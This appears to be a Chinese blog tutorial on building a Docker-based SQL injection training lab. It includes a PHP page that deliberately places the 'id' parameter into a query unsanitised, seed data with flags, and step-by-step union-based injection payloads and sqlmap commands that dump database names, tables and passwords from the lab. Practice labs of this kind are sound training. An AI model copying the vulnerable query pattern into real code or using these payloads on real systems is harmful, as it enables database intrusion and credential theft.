1. 程式人生 > 實用技巧 >使用Docker搭建SQL注入靶場

使用Docker搭建SQL注入靶場

Docker搭建SQL注入漏洞

什麼是Docker

Docker又被叫做容器,使用教程參考我的部落格:
傳送門

如何搭建靶場

這裡以ubuntu上搭建docker為例
首先下載docker:

apt install docker.io
apt install docker-compose

如何搭建web伺服器

一般來說比較推薦Apache,詳細教程請檢視我的部落格

如何寫php檔案

以一個簡單的php檔案為例,如果有需要請自行增加功能。

<?php
error_reporting(0);         //不報錯
$con = mysqli_connect("127.0.0.1","ubuntu","ubuntu","ctf");      //連線本地資料庫,賬號為ubuntu,密碼為ubuntu,連線的資料庫名字叫ctf
if (!isset($_GET['id'])){        //判斷是否上傳一個id
	Header("Location:?id=1");         //如果沒有上傳,預設加上 ?id=1
}
$id = $_GET['id'];         //將傳上來的id賦值給$id變數

//if(preg_match("/ /order/i",$id)){       這一塊是加上過濾的語句,這裡搭建簡單靶場,所以將註釋過濾掉了
    //die("<script>alert('Stop hacking!')</script>");
//}

$req = "select * from users where id=$id;";        //構造SQL讀取語句
$result=mysqli_query($con,$req);                     //執行SQL語句
$row = mysqli_fetch_all($result);                       //解析執行結果
echo "<center><font color='red'>".$row[0][0]."</font></br>";       //將結果輸出
echo "<font color='red'>".$row[0][1]."</font></br>";
echo "<font color='red'>".$row[0][2]."</font></center>";
?>

SQL檔案的話可以參考

create database IF NOT EXISTS ctf;
use ctf;
CREATE TABLE IF NOT EXISTS users
    (
    id int(3) NOT NULL AUTO_INCREMENT,
    username varchar(20) NOT NULL,
    password varchar(60) NOT NULL,
    PRIMARY KEY (id)
    );
CREATE TABLE emails
    (
    id int(3)NOT NULL AUTO_INCREMENT,
    email_id varchar(30) NOT NULL,
    PRIMARY KEY (id)
    );
CREATE TABLE uagents
    (
    id int(3)NOT NULL AUTO_INCREMENT,
    uagent varchar(256) NOT NULL,
    ip_address varchar(35) NOT NULL,
    username varchar(20) NOT NULL,
    PRIMARY KEY (id)
    );
CREATE TABLE referers
    (
    id int(3)NOT NULL AUTO_INCREMENT,
    referer varchar(256) NOT NULL,
    ip_address varchar(35) NOT NULL,
    PRIMARY KEY (id)
    );

INSERT INTO ctf.users (id, username, password) VALUES ('1', 'Dumb', 'Dumb'), ('2', 'Angelina', 'I-kill-you'), ('3', 'Dummy', 'p@ssword'), ('4', 'secure', 'crappy'), ('5', 'superman', 'genious'), ('6', 'batman', 'mob!le'), ('7', 'admin', 'flag in /flag');

INSERT INTO `ctf`.`emails` (id, email_id) VALUES ('1', '[email protected]'), ('2', '[email protected]'), ('3', '[email protected]'), ('4', '[email protected]'), ('5', '[email protected]'), ('6', '[email protected]'), ('7', '[email protected]'), ('8', 'flag{chenwei_laoshi_taiqiangle}');

寫Dockerfile

在以下內容之前,請先看前面那篇部落格

FROM 1275178869/base_image_apache_php_mysql:sjx 

COPY file /var/www/html     #將當前資料夾中的file檔案拷去/var/www/html

RUN rm /var/www/html/index.html

EXPOSE 80

構建Docker

一番操作下來,目前已經有的檔案:


一共3個檔案,其中db.sqlindex.php在file資料夾中。
將整個資料夾上傳到伺服器端:

然後執行

docker build -t sql:sql .

建立一個叫sql:sql的映象,然後

docker run -it -p 3000:80 sql:sql /bin/bash

建立好了容器,主機的3000埠對映到容器的80埠上了。
這時候已經進入了容器

輸入

mysql -uroot -proot < /var/www/html/db.sql

匯入資料庫

然後輸入

service mysql start
service apache2 start


開啟MySQL和Apache

輸入mysql進入資料庫

然後建立一個叫ubuntu的使用者,密碼也用ubuntu,並賦予最高許可權。

CREATE USER 'ubuntu'@'%' IDENTIFIED BY 'ubuntu';GRANT ALL PRIVILEGES ON *.* TO 'ubuntu'@'%' WITH GRANT OPTION;FLUSH PRIVILEGES;

這個時候已經搭建好靶場了,大家可以訪問主機ip:3000來對docker進行訪問。

如果想退出docker可以輸入exit進行退出

這個時候docker已經關閉了,可以用docker ps -a檢視暫停的容器,並用docker start +容器id來開啟,就此搭建靶機結束!


SQL注入過程

判斷是數字型別注入還是字元型注入

輸入1'#發現紅色的字已經沒了

輸入1#紅色的字還在所以判斷此注入是數字型注入

判斷欄位數

構造

http://111.229.229.17:3000/?id=1 order by 1#

http://111.229.229.17:3000/?id=1 order by 2#
http://111.229.229.17:3000/?id=1 order by 3#
http://111.229.229.17:3000/?id=1 order by 4#


證明一共有三個欄位

判斷注入點

http://111.229.229.17:3000/?id=0 union select 1,2,3#


發現 1 2 3都有輝回顯,那麼三個都是注入點

爆庫名

http://111.229.229.17:3000/?id=0 union select database(),2,3#

爆表名

http://111.229.229.17:3000/?id=0 union select group_concat(table_name),2,3 from information_schema.tables where table_schema='ctf'#


發現了4個表,猜測flag在users表裡面。

爆欄位名

http://111.229.229.17:3000/?id=0 union select group_concat(column_name),2,3 from information_schema.columns where table_name='users'#


猜flag在password欄位裡面

得到flag

http://111.229.229.17:3000/?id=0 union select group_concat(password),2,3 from users#

使用SQL注入工具

sqlmap解放雙手

下載傳送門
一款好用的工具可以大大降低我們的勞動,介紹一下sqlmap的使用。詳細使用過程參考這篇部落格

這裡就介紹一些簡單的指令

爆庫名

在sqlmap下載路徑下開啟cmd,輸入

python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" --dbs

因為sqlmap是用python2寫的,所以要用python2呼叫。
-u引數提供攻擊連結
--dbs表示要爆庫名

有5個庫,選擇ctf

爆表名

python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" -D ctf --tables

-D引數表示選擇資料庫
--tables表示爆表名

爆欄位名

python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" -D ctf -T users --columns

-T引數表示選擇users表
--columns表示爆欄位名

拿flag

python2 sqlmap.py -u "http://111.229.229.17:3000/?id=1" -D ctf -T users -C password --dump

-C表示選擇欄位
--dump表示爆出內容